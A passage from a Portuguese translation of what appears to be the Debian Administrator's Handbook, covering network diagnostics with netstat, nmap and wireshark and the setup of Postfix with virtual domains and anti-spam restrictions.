-c, para atualizar continuamente a lista de conexões.

Outras opções, documentadas na página de manual netstat(8), fornecem um controle ainda mais apurado sobre os resultados exibidos. Na prática, as cinco primeiras opções são tão comumente usadas em conjunto que administradores de sistemas e de redes praticamente usam netstat -tupan como um reflexo. Resultados típicos em uma máquina levemente carregada devem se parecer com o seguinte:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

Como esperado, isso lista conexões estabelecidas, duas conexões SSH neste caso, e aplicações esperando por conexões de entrada (listadas como LISTEN), notavelmente o servidor de email Exim4 ouvindo na porta 25.

10.9.2. Diagnóstico Remoto: nmap

nmap (em pacote de nome similar) é, de certa forma, o equivalente remoto do netstat. ele pode escanear um conjunto de portas conhecidas em um ou mais servidores remotos, e listar as portas aonde uma aplicação se encontra para responder a conexões de entrada. Além do mais, o nmap é capaz de identificar algumas dessas aplicações, algumas vezes até seu número de versão. A contrapartida dessa ferramenta é que, como ela é executada remotamente, ela não pode fornecer informações sobre processos ou usuários; contudo, ela pode operar em vários alvos de uma vez.

Uma invocação típica do nmap usa apenas a opção -A (para que o nmap tente identificar as versões dos softwares no servidor que ele encontrar) seguido de um ou mais endereços IP ou nomes DNS das máquinas a escanear. Novamente, existem muitas outras opções para refinar o comportamento do nmap; por favor veja a documentação na página de manual nmap(1).

# nmap debian Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET Nmap scan report for debian (192.168.122.57) Host is up (0.000087s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 79/tcp open finger 80/tcp open http 113/tcp open ident Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds # nmap -A localhost nmap -A localhost Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining) Nmap scan report for localhost (127.0.0.1) Host is up (0.000086s latency). Other addresses for localhost (not scanned): ::1 Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) |_auth-owners: foobar 25/tcp open smtp Postfix smtpd |_auth-owners: foobar |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2022-02-22T14:48:42 |_Not valid after: 2032-02-20T14:48:42 |_ssl-date: TLS randomness does not represent time 79/tcp open finger? |_auth-owners: foobar |_finger: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.52 ((Debian)) |_auth-owners: foobar |_http-server-header: Apache/2.4.52 (Debian) |_http-title: Apache2 Debian Default Page: It works 113/tcp open ident Liedentd (Claimed user: foobar) |_auth-owners: foobar 631/tcp open ipp CUPS 2.3 |_auth-owners: foobar | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 |_http-title: Home - CUPS 2.3.3op2 Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

As expected, e.g. the SSH, Apache and Postfix applications are listed. Note that not all applications listen on all IP addresses; since Postfix is only accessible on the lo loopback interface, it only appears during an analysis of localhost and not when scanning debian (which maps to the enp1s0 interface on the same machine).

10.9.3. Sniffers: tcpdump e wireshark

Às vezes, é preciso olhar o que realmente acontece no fio, pacote a pacote. Nesses casos é necessário invocar um “analisador de quadro”, mais comumente conhecido como sniffer. Uma ferramenta dessas observa todos os pacotes que chegam em uma determinada interface de rede, e os exibe de uma maneira amigável.

A venerável ferramenta neste domínio é o tcpdump, disponível como ferramenta padrão em uma grande variedade de plataformas. Ela permite muitos tipos de captura de tráfego de rede, mas a representação desse tráfego se mantém obscura. Nós então não iremos descrevê-la muito detalhadamente.

Uma ferramenta mais recente (e mais moderna), wireshark (do pacote wireshark), se tornou a nova referência em análise de tráfego de rede devido a seus vários módulos de "decoding" que permitem uma análise simplificada dos pacotes capturados. Os pacotes são exibidos graficamente organizados com base nas camadas de protocolo. Isso permite ao usuário visualizar todos os protocolos envolvidos em um pacote. Por exemplo, dado um pacote contendo uma requisição HTTP, o wireshark exibe, separadamente, a informação referente a camada física, camada Ethernet, informação do pacote IP, parâmetros de conexão TCP, e finalmente a própria requisição HTTP.

Figura 10.1. O analisador de tráfego de rede wireshark

Em nosso exemplo, os pacotes que viajam pelo SSH são filtrados (pelo filtro !tcp.port == 22). O pacote exibido no momento foi desenvolvido na camada de transporte do protocolo SSHv2.

DICA wireshark sem interface gráfica: tshark

Se não for possível executar a interface gráfica, ou se não se quer fazer isso por uma razão qualquer, uma versão modo texto do wireshark também existe sob o nome de tshark (em um pacote separado tshark). A maioria dos recursos de captura e "decoding" ainda estão disponíveis, mas a ausência da interface gráfica necessariamente limita as interações com o programa (a filtragem de pacotes depois de terem sido capturados, rastreio de uma dada conexão TCP, e assim por diante). Mas ele ainda pode ser usado como primeira abordagem. Se manipulações mais profundas forem pretendidas e requererem a interface gráfica, os pacotes podem ser salvos em um arquivo e esse arquivo pode ser carregado no wireshark gráfico que está sendo executado em outra máquina.

Capítulo 11. Serviços de Rede: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Serviços de rede são programas que os usuários interagem diretamente no seu dia-a-dia. Eles são a ponta do icebergue da informação, e este capítulo foca neles; as partes escondidas nas quais eles dependem são a infraestrutura que nós já descrevemos. Normalmente eles precisam da tecnologia de criptografia descrita em Seção 10.2, “Certificados X.509”.

11.1. Servidor de Correio Eletrônico

Os administradores da Falcot Corp selecionaram o Postfiz como servidor de correio eletrônico, devido a sua confiabilidade e fácil configuração. De fato, seu projeto reforça que cada tarefa é implementada em um processo com um conjunto mínimo de permissões, que é uma medida de mitigação contra problemas de segurança.

ALTERNATIVA O servidor Exim4

O Debian utiliza os Exim4 como o servidor de e-mail padrão (eis o porque da instalação inicial incluir o Exim4). A configuração é provida por um pacote diferente, exim4-config, e automaticamente customizado baseado nas respostas de um conjunto de questões no Debconf muito similar as questões feitas pelo pacote postfix.

A configuração pode ser tanto em um único arquivo (/etc/exim4/exim4.conf.template) ou divido em alguns trechos de configuração armazenados em /etc/exim4/conf.d/. Em ambos os casos, os arquivos são usados pelo update-exim4.conf como modelo para gerar o /var/lib/exim4/config.autogenerated. Este último é utilizado pelo Exim4. Graças ao seu mecanismo, os valores obtidos através da configuração debconf do Exim - que é armazenado em /etc/exim4/update-exim4.conf.conf - pode ser injetado no arquivo de configuração do Exim, mesmo quando o administrador ou outro pacote alterou a configuração padrão do Exim.

A sintaxe do arquivo de configuração do Exim4 tem suas particularidades e sua curva de aprendizado; contudo, uma vez que essas particularidades são compreendidas, o Exim4 se torna um servidor de e-mail muito completo e poderoso, como evidenciado pelas suas muitas páginas de documentação.

→ https://www.exim.org/docs.html

11.1.1. Instalando o Postfix

O pacote postfix inclui o daemon SMTP principal. Outros pacotes (como o postfix-ldap e o postfix-pgsql) adicionam funcionalidades extras ao Postfix, incluindo acesso a bancos de dados. Você só deve instalá-los se souber que precisa deles.

DE VOLTA AO BÁSICO SMTP

SMTP (Protocolo Simples para Transferência de Correio, RFC 5321) é um protocolo usado por servidores de e-mail para intercambiar e rotear e-mails.

Diversas questões Debconf são feitas durante o processo de instalação do pacote. As respostas permitem gerar a primeira versão do arquivo de configuração /etc/postfix/main.cf.

A primeira pergunta é sobre qual o tipo de instalação. Apenas duas das respostas propostas são relevantes no caso de um servidor conectado à internet , "site de internet" e "internet com smarthost". O primeiro é apropriado para um servidor que recebe e-mails entrantes e envia e-mails saintes diretamente aos seus destinatários, e portanto é se adapta bem ao caso da Falcot Corp . o último é apropriado para um servidor que recebe e-mails recebidos normalmente, mas que envia e-mails saintes através de um servidor SMTP intermediário - o "smarthost" - ao invés de diretamente para o servidor do destinatário . Isto é útil para os indivíduos com um endereço IP dinâmico , uma vez que muitos servidores de e-mail rejeitam mensagens diretas de endereços IP dinâmicos. Neste caso, o smarthost será geralmente o servidor SMTP do ISP, que é sempre configurado para aceitar e-mail proveniente de clientes do ISP e transmiti-los de forma adequada. Esta configuração (com um smarthost) também é relevante para os servidores que não estão permanentemente conectados à internet, uma vez que se evita ter de gerenciar uma fila de mensagens não entregues que precisa ser repetida mais tarde.

VOCABULÁRIO ISP

ISP é a sigla para "Internet Service Provider" (Provedor de Serviços de Internet). Isto cobre uma entidade, normalmente uma empresa, que provê conexões a internet e seus serviços básicos associados (e-mail, notícias e assim por diante).

A segunda questão diz respeito ao nome completo da máquina, utilizada para gerar os endereços de e-mail a partir de um nome de usuário local; o nome completo da máquina acaba como a parte após o arroba ("@"). No caso da Falcot, a resposta deveria ser mail.falcot.com. Esta é a única pergunta feita por padrão, mas a configuração gerada não é completa o suficiente para as necessidades de Falcot, razão pela qual os administradores executam o dpkg-reconfigure postfix, para personalizar mais parâmetros.

Uma das questões extras pede para todos os nomes de domínio relacionados com esta máquina. A lista padrão inclui o seu nome completo, bem como alguns sinônimos para localhost, mas o principal domínio falcot.com precisa ser adicionado manualmente. De modo geral, esta questão deve ser respondida normalmente com todos os nomes de domínio para que esta máquina deve servir como um servidor MX; em outras palavras, todos os nomes de domínio para o qual o DNS diz que esta máquina vai aceitar e-mail. Esta informação acaba na variável mydestination do principal arquivo de configuração do Postfix - /etc/postfix/main.cf.

Figura 11.1. Papel do registro MX no DNS ao enviar um e-mail

EXTRA Consultando os registros MX

Quando o DNS não contém um registro MX para o domínio, o servidor e-mail tentará enviar as mensagens para o hospedeiro em si, usando o registro correspondente A (ou AAAA em IPv6).

Em alguns casos, a instalação pode perguntar quais redes devem ser permitidas a enviar e-mail usando a máquina. Em sua configuração padrão, o Postfix somente aceita e-mails vindo da máquina em si, a rede local normalmente será adicionada. Os administradores da Falcot Corp adicionaram 192.168.0.0/16 na pergunta padrão. Se a questão não é feita, a variável relevante no arquivo de configuração é mynetworks, como visto no exemplo abaixo.

E-mails locais podem ser enviados através do comando procmail. Esta ferramenta permite aos usuários organizarem seus e-mail de entrada de acordo com a regras armazenadas em seu arquivo ~/.procmailrc. Tanto o Postfix quanto o Exim4 sugerem procmail por padrão, mas existem alternativas, como o maildrop ou Sieve filters.

Após este primeiro passo, os administradores conseguiram o seguinte arquivo de configuração; ele será usado como ponto de partida para adicionarmos funcionalidades extras nas próximas seções.

Exemplo 11.1. Arquivo inicial /etc/postfix/main.cf

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = smtp relay_transport = smtp inet_protocols = all myorigin = /etc/mailname

SEGURANÇA Certificados SSL Snake oil

Os certificados snake oil (ou remédio do homem da cobra), como o "remédio" vendido pelos homens da cobra, charlatães sem escrúpulos dos velhos tempos, não tem absolutamente nenhum valor, você não pode se basear neles para autenticar o servidor já que eles são certificados auto-assinados automaticamente gerados. Contudo, eles são úteis para aprimorar a privacidade de intercâmbios.

Em geral eles só devem ser usados para testes, enquanto que um serviço normal deve usar certificados reais. A iniciativa Let's encrypt fornece certificados SSL/TLS livres e confiáveis, que podem ser gerados usando o pacote certbot como descrito em Seção 11.2.2, “Adicionando suporte a SSL” e então usados no postfix desta forma:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

Uma forma diferente de gerar seus próprios certificados usando sua própria autoridade de certificado é descrita em Seção 10.2.2, “Infraestrutura de Chaves Públicas: easy-rsa”.

11.1.2. Configurando Domínios Virtuais

O servidor de correio ("mail") pode receber correspondências endereçadas a outros domínios além do domínio principal; estes são conhecidos como domínios "virtuais". Na maioria dos casos onde isso ocorre, os e-mails não são no final das contas destinados aos usuários locais. O Postfix provê duas funcionalidades interessantes para manipular domínios virtuais.

ATENÇÃO Domínios virtuais e domínios canônicos

Nenhum dos domínios virtuais deve ser referenciado na variável mydestination; esta variável somente contém os nomes dos domínios "canônicos" diretamente associados à máquina e seus usuários locais.

11.1.2.1. Alias de domínios virtuais

Um alias de domínio virtual contém somente aliases, isto é, endereços que encaminham unicamente os e-mails para outros endereços.

Tal domínio é ativado ao se adicionar seu nome a variável virtual_alias_domains, e referenciar um arquivo de mapa de endereços a variável virtual_alias_maps.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

O arquivo /etc/postfix/virtual descreve o mapeamento com uma sintaxe bastante simples: cada linha contém dois campos separados por espaços em branco; o primeiro campo é o nome do alias, o segundo campo é uma lista de endereços de e-mail onde ele redireciona. A sintaxe especial @domain.com abrange todos os aliases restantes em um domínio.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # The alias below is generic and covers all addresses within # the falcotsbrand.com domain not otherwise covered by this file. # These addresses forward email to the same user name in the # falcot.com domain. @falcotsbrand.com @falcot.com

Depois de alterar o /etc/postfix/virtual, a tabela postfix /etc/postfix/virtual.db precisa ser atualizada usando o sudo postmap /etc/postfix/virtual.

11.1.2.2. Domínios Virtuais de Caixa de Correio

ATENÇÃO Domínio virtual combinado?

O Postfix não permitir o uso do mesmo domínio, tanto virtual_alias_domains e virtual_mailbox_domains. No entanto, todos os domínios da virtual_mailbox_domains está implicitamente incluído no virtual_alias_domains, o que torna possível misturar aliases e caixas de correio dentro de um domínio virtual.

As mensagens endereçadas a um domínio de caixa de correio virtual são armazenadas em caixas de correio não atribuídos a um usuário do sistema local.

Ativando um domínio de caixa de correio virtual requer nomear este domínio na variável virtual_mailbox_domains, e referenciar um arquivo de mapeamento de caixa de correio no virtual_mailbox_maps. O parâmetro virtual_mailbox_base contém o diretório sob o qual as caixas de correio serão armazenadas.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

O parâmetro virtual_uid_maps (virtual_gid_maps respectivamente) faz referência ao arquivo que contém o mapeamento entre o endereço de e-mail e o usuário do sistema (grupo respectivamente) que "possui" a caixa correspondente. Para obter todas as caixas de correio de propriedade do mesmo dono/grupo, a sintaxe static:5000 atribui um UID/GID fixo (de valor 5000 aqui).

Novamente, a sintaxe do arquivo /etc/postfix/vmailbox é bastante simples: dois campos separados por espaço em branco. O primeiro campo é um endereço de e-mail dentro de um dos domínios virtuais, e o segundo campo é a localização da caixa de correio associada (relativo ao diretório especificado no virtual_mailbox_base). Se o nome da caixa de correio termina com uma barra (/), os e-mails serão armazenados no formato maildir; caso contrário, o tradicional formato mbox será usado. O formato maildir usa um diretório inteiro para armazenar a caixa de correio, cada mensagem que está sendo armazenada em um arquivo separado. No formato mbox, por outro lado, toda a caixa de correio é armazenado em um arquivo, e cada linha começando com "De " (De seguido de um espaço) indica o início de uma nova mensagem.

# Os e-mails de Jean são armazenados como maildir, com # um arquivo por e-mail em um diretório dedicado jean@falcot.org falcot.org/jean/ # Os e-mails de Sophie são armazenados em um arquivo tradicional "mbox", # com todos os e-mails concatenados em um arquivo único sophie@falcot.org falcot.org/sophie

11.1.3. Restrições para Recebimento e Envio

O crescente número de e-mails em massa não solicitados (spams) requer cada vez ser mais rigoroso ao decidir quais e-mails um servidor deve aceitar. Esta seção apresenta algumas das estratégias incluídas no Postfix.

Se as reject-rules forem muito restritivas, pode acontecer que até mesmo emails válidos fiquem travados. Portanto, é um bom hábito testar restrições e prevenir a rejeição permanente de requisições durante este tempo usando a diretiva soft_bounce = yes. Adicionando uma diretiva reject-type com warn_if_reject faz com que apenas uma mensagem de log seja gravada ao invés de rejeitar a mensagem.

CULTURA O problema do spam

"Spam" é um termo genérico usado para designar todos os e-mails comerciais não solicitadas (também conhecidas como UCEs) que inundam nossas caixas de correio eletrônico; indivíduos sem escrúpulos que os enviam são conhecidos como spammers. Eles pouco se importam com o incômodo que causam já que os custos de envio de e-mail custa muito pouco e precisam somente atrair para suas ofertas uma percentagem muito pequena de quem os recebe para que a operação de spam gere mais dinheiro do que custa. O processo é praticamente todo automatizado, e qualquer endereço de e-mail tornado público (por exemplo, em um fórum na web, ou nos arquivos de uma lista de discussão, ou em um blog, e assim por diante) será descoberto pelos robôs dos spammers, e submetido para um fluxo interminável de mensagens não solicitadas. Além disso, todos os contatos encontrados em um sistema comprometido são direcionados.

Todos os administradores de sistema tentam enfrentar esse incômodo com filtros de spam, mas os spammers, claro, mantém os ajustes para tentar contornar esses filtros. Alguns até mesmo alugam redes de máquinas comprometidas por um worm de vários sindicatos do crime. Estatísticas recentes estimam que até 95% de todos os e-mails que circulam na Internet são spam!

11.1.3.1. Restrições de Acesso Baseados no IP

A diretiva smtpd_client_restrictions controla quais máquinas tem permissão para se comunicar com o servidor de e-mail.

Quando uma variável contém uma lista de regras, como no exemplo abaixo, essas regras são avaliadas em ordem, desde a primeira até a última. Cada regra pode aceitar a mensagem, rejeitá-la, ou deixar a decisão para a seguinte regra. Como consequência, a ordem importa e simplesmente mudar duas regras pode levar a um comportamento completamente diferente.

Exemplo 11.2. Restrições Baseadas no Endereço do Cliente

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

A diretiva permit_mynetworks, usada como primeira regra, aceita e-mails vindos de uma máquina na rede local (como definido na variável de configuração mynetworks).

A segunda diretiva normalmente rejeitaria e-mails provenientes de máquinas sem uma configuração de DNS completamente válido. Tal configuração válida significa que o endereço IP pode ser resolvida para um nome, e que esse nome, por sua vez, resolve o endereço IP. Essa restrição é muitas vezes demasiada rigorosa, uma vez que muitos servidores de e-mail não tem um DNS reverso para o seu endereço IP. Isso explica por que os administradores da Falcot prefixaram o modificador warn_if_reject para a diretiva reject_unknown_client: este modificador transforma a rejeição em uma simples advertência registrada nos logs. Os administradores podem, em seguida, manter um olho sobre o número de mensagens que seriam rejeitadas se a regra fosse realmente cumprida, e tomar uma decisão informada mais tarde, se quiser ativar essa aplicação.

DICA tabelas de acesso

Os critérios de restrição incluem tabelas modificáveis pelo administrador listando combinações de remetentes, endereços IP e nomes de host permitidos ou proibidos. Essas tabelas podem ser criadas usando uma cópia do arquivo /usr/share/doc/postfix/examples/access que vai no pacote postfix-doc e explicado em access(5). Este modelo é auto-documentado em seus comentários, o que significa que cada tabela descreve sua própria sintaxe.

A tabela /etc/postfix/access_clientip lista os endereços IP e redes; /etc/postfix/access_helo lista nomes de domínio; /etc/postfix/access_sender contém endereços de e-mail do remetente. Todos esses arquivos precisam ser transformados em tabelas-hash (um formato otimizado para acesso rápido) após cada alteração, com o comando sudo postmap /etc/postfix/arquivo.

A diretiva check_client_access permite ao administrador criar uma lista negra e uma lista branca de servidores de e-mail, armazenados em /etc/postfix/access_clientip. Servidores na lista branca são considerados de confiança e os e-mails vindos de lá, portanto, não passam pelas regras seguintes de filtragem.

As últimas quatro regras rejeitam qualquer mensagem proveniente de um servidor relacionado em uma das listas bloqueadas indicadas. RBL é um acrônimo para Remote Block List (Lista Bloqueada Remota) e RHSBL significa Right-Hand Side Block List (Lista Bloqueada de Confiança). A diferença é que a primeira lista endereços IP e a última lista nomes de domínio. Existem diversos desses serviços. Eles listam domínios e endereços IP de baixa reputação, servidores mal configurados que spammers usam para transmitir seus e-mails, bem como relays de e-mails inesperados como máquinas infectadas com worms ou vírus.

DICA Listas brancas e RBLs

Listas negras, por vezes, incluem um servidor legítimo que tem sofrido um incidente. Nestas situações, todos os e-mails provenientes de um desses servidores seria rejeitado a menos que o servidor esteja listado em uma lista branca definida em /etc/postfix/access_clientip.

A prudência recomenda a inclusão de todos os servidores confiáveis na lista(s) branca de onde muito e-mail são geralmente recebidos.

11.1.3.2. Verificando a Validade dos Comandos EHLO ou HELO

Cada troca SMTP inicia com um comando HELO (ou EHLO), seguido do nome do servidor de email remetente. Checar a validade deste nome pode ser interessante. Para garantir completamente as restrições listadas em smtpd_helo_restrictions a opção smtpd_helo_required precisa estar habilitada. Caso contrário os clientes podem pular as restrições não enviando nenhum comando HELO/EHLO.

Exemplo 11.3. Restrições no nome anunciado com EHLO

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

A primeira diretiva permit_mynetworks permite que todas as máquinas da rede local se apresentem livremente. Isso é importante, porque alguns programas de e-mail não respeitam essa parte do protocolo SMTP de forma suficientemente correta e podem se apresentar com nomes sem sentido.

A regra reject_invalid_helo_hostname rejeita e-mails quando o anúncio EHLO lista um nome de host incorreto sintaticamente. A regra reject_non_fqdn_helo_hostname rejeita mensagens quando o nome do host anunciado não é um nome de domínio totalmente qualificado (incluindo nome de domínio e nome de host). A regra reject_unknown_helo_hostname rejeita mensagens se o nome anunciado não existe no DNS. Uma vez que esta última regra infelizmente leva a muitas rejeições, os(as) administradores(as) converteram seu efeito em uma simples advertência com o modificador warn_if_reject como um primeiro passo; eles(as) podem decidir remover este modificador em uma etapa posterior após a auditoria dos resultados desta regra.

O reject_rhsbl_helo permite especificar uma lista negra para verificar o nome da máquina num RHSBL.

Usando permit_mynetworks como a primeira regra tem um efeito colateral interessante: as regras seguintes aplicam-se apenas aos hosts fora da rede local. Isso permite bloquear todos os hosts que se anunciam como parte da rede falcot.com, por exemplo adicionando uma linha falcot.com REJECT Você não é da nossa rede! no arquivo /etc/postfix/access_helo.

11.1.3.3. Aceitando ou Recusando Correios ("Mails") Baseado em Remetente Anunciado

Toda mensagem tem um remetente, anunciado pelo comando MAIL FROM do protocolo SMTP; novamente esta informação pode ser validada de diversas maneiras.

Exemplo 11.4. Verificações do Remetente

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

A tabela /etc/postfix/access_sender mapeia algum tratamento especial a alguns remetentes. Isso geralmente significa listar alguns remetentes em uma lista branca ou uma lista negra.

A regra reject_unknown_sender_domain exige um domínio de remetente válido, já que tal domínio é necessário para um endereço válido. A regra reject_unlisted_sender rejeita remetentes locais se o endereço não existe; isso impede que emails sejam enviados de um endereço inválido no domínio falcot.com, e as mensagens que se originam de joe.bloggs@falcot.com são apenas aceitas se tal endereço realmente existe.

Finalmente, a regra reject_non_fqdn_sender rejeita e-mails que pretendem vir de endereços sem um nome de domínio totalmente qualificado. Na prática, isso significa rejeitar e-mails vindos de um usuário @máquina: o endereço deve ser anunciado como user@machine.example.com ou user@example.com.

A regra reject_rhsbl_sender rejeita remetentes baseada num serviço RHSBL (baseado em domínio).

11.1.3.4. Aceitando e Rejeitando Correios ("Mails") Baseado no Destinatário

Todo e-mail tem ao menos um destinatário, anunciado com o comando RCPT TO no protocolo SMTP. Estes endereços também são passíveis de validação, mesmo que sejam menos relevantes do que as verificações feitas no endereço do remetente.

Exemplo 11.5. Verificações pelo Destinatário

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

reject_unauth_destination é a regra básica que exige que mensagens externas sejam endereçadas para nós; mensagens enviadas para um endereço não servido por este servidor são rejeitadas. Sem esta regra, um servidor se torna um retransmissor ("relay") aberto que permite que spammers enviem e-mails não solicitados; esta regra é, portanto, obrigatória, e vai ser melhor incluí-la perto do início da lista, de forma que nenhuma outra regra possa autorizar a mensagem antes de seu destino ser verificado.

A regra reject_unlisted_recipient rejeita mensagens enviadas para usuários locais não-existentes, o que faz sentido. Finalmente, a regra reject_non_fqdn_recipient rejeita endereços não totalmente qualificados; isso faz com que seja impossível enviar um e-mail para jean ou jean@machine, e em vez disso requer o uso do endereço completo, como jean@machine.falcot.com ou jean@falcot.com.

A directiva permit no final não é necessária. Mas pode ser útil no final de uma lista de restrições para deixar explícita a política predeterminada.

11.1.3.5. Restrições Associadas ao Comando DATA

O comando DATA do SMTP é emitido antes do conteúdo da mensagem. Ele não fornece qualquer informação, por si só, além de anunciar o que vem a seguir. Pode ainda ser submetidos a verificações.

Exemplo 11.6. Verificações pelo DATA

smtpd_data_restrictions = reject_unauth_pipelining

A diretiva reject_unauth_pipelining faz com que a mensagem seja rejeitada se o remetente envia um comando antes da resposta ao comando anterior foi enviado. Isso evita uma otimização comum usada por robôs de spammers, uma vez que eles geralmente não se importam em nada pelas respostas e se concentram apenas no envio de tantos e-mails quanto possível em tão curto espaço de tempo possível.

11.1.3.6. Aplicando as Restrições

Embora os comandos acima validem as informações em vários estágios de troca SMTP, o Postfix envia por padrão a rejeição real como uma resposta ao comando RCPT TO.

Isto significa que mesmo se a mensagem for rejeitada devido a um comando EHLO inválido, o Postfix conhece o remetente e o destinatário ao anunciar a rejeição. Então ele pode registrar uma mensagem mais explícita do que ele poderia se a transação havia sido interrompida desde o início. Além disso, um número de clientes SMTP não esperam falhas nos comandos SMTP iniciais, e esses clientes serão menos perturbados por esta rejeição tardia.

A vantagem final para esta escolha é que as regras podem acumular informação durante as várias fases do intercâmbio SMTP; este permite definir permissões mais refinadas, como a rejeição de uma conexão não-local se ele se anuncia com um remetente local.

O comportamento padrão é controlado pela regra smtpd_delay_reject.

11.1.3.7. Filtrando Baseado no Conteúdo da Mensagem

O sistema de validação e restrição não seria completo sem uma maneira de aplicar verificações para o conteúdo da mensagem. O Postfix diferencia as verificações praticadas nos cabeçalhos de e-mail das que se aplicam ao corpo do e-mail.

Exemplo 11.7. Habilitação de filtros baseados em conteúdo

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

Ambos os arquivos contêm uma lista de expressões regulares (comumente conhecido como regexps ou regexes) e ações associadas a serem acionadas quando os cabeçalhos de e-mail (ou corpo) coincidir com a expressão.

OLHADA RÁPIDA Tabelas de expressões regulares (regexp)

O arquivo /usr/share/doc/postfix/examples/header_checks (do pacote postfix-doc) e header_checks(5) contêm muitos comentários explicativos e podem ser usados como ponto de partida para a criação dos arquivos /etc/postfix/header_checks e /etc/postfix/body_checks.

Exemplo 11.8. Exemplos do arquivo /etc/postfix/header_checks

